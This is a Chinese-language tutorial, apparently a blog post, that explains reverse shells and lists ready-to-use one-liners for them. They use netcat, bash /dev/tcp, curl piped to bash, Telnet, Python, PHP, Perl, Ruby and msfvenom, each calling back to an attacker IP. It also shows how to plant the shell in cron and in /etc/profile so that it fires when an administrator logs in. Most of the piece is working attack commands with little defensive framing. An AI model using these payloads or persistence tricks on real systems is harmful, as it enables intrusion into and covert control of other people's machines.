正向连接?反向连接?
正向连接
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。
反向连接
就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序。(目标机主动连接)
什么是shell?
Shell 是一种特殊的用户界面,用于与操作系统内核进行交互,它提供了一个命令行解释器环境,用户通过输入文本命令,由 Shell 将这些命令翻译给操作系统内核执行,并将内核的执行结果反馈给用户。(是一个用户界面,用于访问操作系统的服务)
什么是反弹shell?
反弹 shell 是指目标主机主动向攻击者的主机发起连接,然后攻击者利用这个连接与目标主机进行交互。与之相对的是绑定 shell,它是在目标主机上开放一个监听端口,攻击者直接连接这个端口。
反弹 Shell 是一种黑客常用的攻击手段,也是在安全测试中用于获取目标系统控制权限的一种方法,它指的是在目标服务器上运行特定的代码,使目标服务器主动建立一个与攻击者控制的主机之间的反向连接,将目标服务器的 Shell 环境反弹给攻击者,从而让攻击者能够在远程控制目标服务器。
反弹shell原理
通常情况下,网络中的服务大多是客户端主动连接服务器端的模式。而反弹 Shell 打破了这种常规,是目标服务器(被攻击方)主动发起连接到攻击者控制的服务器(攻击方),将自身的 Shell 环境通过这个连接发送过去。攻击者的服务器监听特定端口,一旦目标服务器连接过来,就可以建立起一个双向通信通道,攻击者就能像在目标服务器本地一样执行命令。
攻击者监听:攻击者在自己的机器上打开一个监听端口,等待目标主机连接。
目标主机发起连接:通过漏洞利用或命令注入,攻击者让目标主机执行一条指令,这条指令会主动连接攻击者的 IP 和端口。 (关键)
建立通信通道:连接成功后,目标主机将自己的命令行输入输出通过这个通道传递给攻击者。 攻击者执行命令:攻击者通过这个通道直接操作目标主机。
什么情况下进行反弹shell
•目标机因防火墙受限,目标机器只能发送请求,不能接收请求。(有防火墙限制入站流量,反弹 shell 利用目标主机主动发起出站连接,而防火墙通常不会限制出站流量)
•目标机端口被占用。
•目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
•对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。
反弹shell的方法
利用netcat反弹
Netcat是什么?
Netcat 是一款简单的Unix工具,使用UDP和TCP协议,被称为网络工具中的”瑞士军刀”。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。
Netcat安装
Linux中自带,cebtos7中使用yum安装,windows自行搜索安装
1.安装依赖
sudo yum install glibc*
1.2安装Netcat
依次输入一下命令
wget https://sourceforge.NET/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
cd /usr/local/netcat-0.7.1
./configure
make && make install
1.3配置环境变量
vi /etc/profile
输入:
export NETCAT_HOME=/usr/local/netcat-0.7.1
export PATH=$PATH:$NETCAT_HOME/bin
1.4测试
输入
nc -h
看是否安装成功
参数 介绍
-h 查看帮助信息。
-l 监听模式,等待其他计算机连接。
-p 指定监听的端口号。
-u 使用UDP协议。
-v 输出详细信息,如建立连接时显示IP地址和端口号。
-n 不使用DNS查找,使用IP地址进行连接。
-z 将输入/输出功能关闭,进行端口扫描。
-s 指定本地的IP地址。
-e 在连接建立后,将标准输入和输出重定向到一个指定的程序或脚本中。
-w 设置超时时间,等待连接或数据的时间。
-c 发送指定字节数的数据后关闭连接。
-i 设置发送数据的时间间隔。
-q 设置程序退出前的最大延迟时间。
-k 启用TCP保持活动状态。
-r 设置随机本地端口号。
-t 以telnet形式应答。
反弹shell
攻击机开启本地监听:
nc -lvvp 2333
目标机主动连接
netcat 121.xxx.xxx.xxx 11451 -e /bin/bash
# nc <攻击机IP> <攻击机监听的端口> -e /bin/bash
利用bash反弹
攻击机开启本地监听:
nc -lvvp 11451
目标机主动连接攻击机:
bash -i >& /dev/tcp/121.xxx.xxx.xxx/11451 0>&1
bash -c 'bash -i >& /dev/tcp/121.xxx.xxx.xxx/11451 0>&1'
Bash反弹一句完整的解读过程就是:
Bash产生了一个交互环境和本地主机主动发起与攻击机2333端口建立的连接(即TCP 2333会话连接)相结合,然后在重定向个TCP 2333会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境。
Curl配合Bash反弹shell
在攻击者的web目录里面创建一个index.php或者inde.html文件,内容如下:
bash -i >& /dev/tcp/121.xxx.xxx.xxx/11451 0>&1
并开启11451端口的监听。
然后再目标机上执行如下,即可反弹shell:
curl 121.xxx.xxx.xxx|bash
将反弹shell的命令写入定时任务
我们可以在目标主机的定时任务文件中写入一个反弹shell的脚本,但是前提是我们必须要知道目标主机当前的用户名是哪个。因为我们的反弹shell命令是要写在 /var/spool/cron/[crontabs]/ 内的,所以必须要知道远程主机当前的用户名。否则就不能生效。
比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)
比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu系列主机)
*/1 * * * * /bin/bash -i>&/dev/tcp/121.xxx.xxx.xxx/11451 0>&1
#每隔一分钟,向121.xxx.xxx.xxx的11451号端口发送shell
将反弹shell的命令写入/etc/profile文件
将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。 当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的shell
/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1 &
# 最后面那个&为的是防止管理员无法输入命令
利用Socat反弹shell
Socat是Linux 下一个多功能的网络工具,名字来由是”Socket CAT”,因此可以看出它是基于socket的,其功能与netcat类似,不过据说可以看做netcat的加强版,事实上的确也是如此。我这里只简单的介绍下怎么使用它开启监听和反弹shell,其他详细内容可以参见这里:http://brieflyx.me/2015/linux-tools/socat-introduction/ Ubuntu上可以直接sudo apt-get install socat 利用Telnet反弹shell
当nc和/dev/tcp不可用,且目标主机和攻击机上支持Telnet服务时,我们可以使用Telnet反弹shell。 方法一
攻击机开启本地监听:
nc -lvvp 2333
目标机主动连接攻击机:
mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a
方法二
攻击机需要开启两个本地监听:
nc -lvvp 2333
nc -lvvp 4000
目标机主动连接攻击机:
telnet 47.101.57.72 2333 | /bin/bash | telnet 47.101.57.72 4000
各种脚本反弹shell
Python 脚本反弹shell
攻击端开启端口监听
nc -lvvp 4444
目标主机脚本连接攻击机
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php 脚本反弹shell
攻击端开启端口监听
nc -lvvp 4444
目标主机脚本连接攻击机
php -r '$sock=fsockopen("47.xxx.xxx.72",2333);exec("/bin/sh -i <&3 >&3 2>&3");'
Perl 脚本反弹shell
攻击端开启端口监听
nc -lvvp 4444
目标主机脚本连接攻击机
perl -e 'use Socket;$i="47.101.57.72";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Ruby脚本反弹shell
nc -lvvp 4444
目标主机脚本连接攻击机
ruby -rsocket -e 'c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
或
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
使用Metasploit生成反弹shell
直接可以使用 msfvenom -l 结合关键字过滤(如cmd/unix/reverse),列出我们需要生成的各类反弹shell一句话的payload:
msfvenom -l payloads | grep 'cmd/unix/reverse'
msfvenom -p cmd/unix/reverse_python LHOST=121.xxx.xxx.xxx LPORT=11451 -f raw
记一次反弹shell
如果连接不上,记得看安全组和防火墙,可尝试关闭防火墙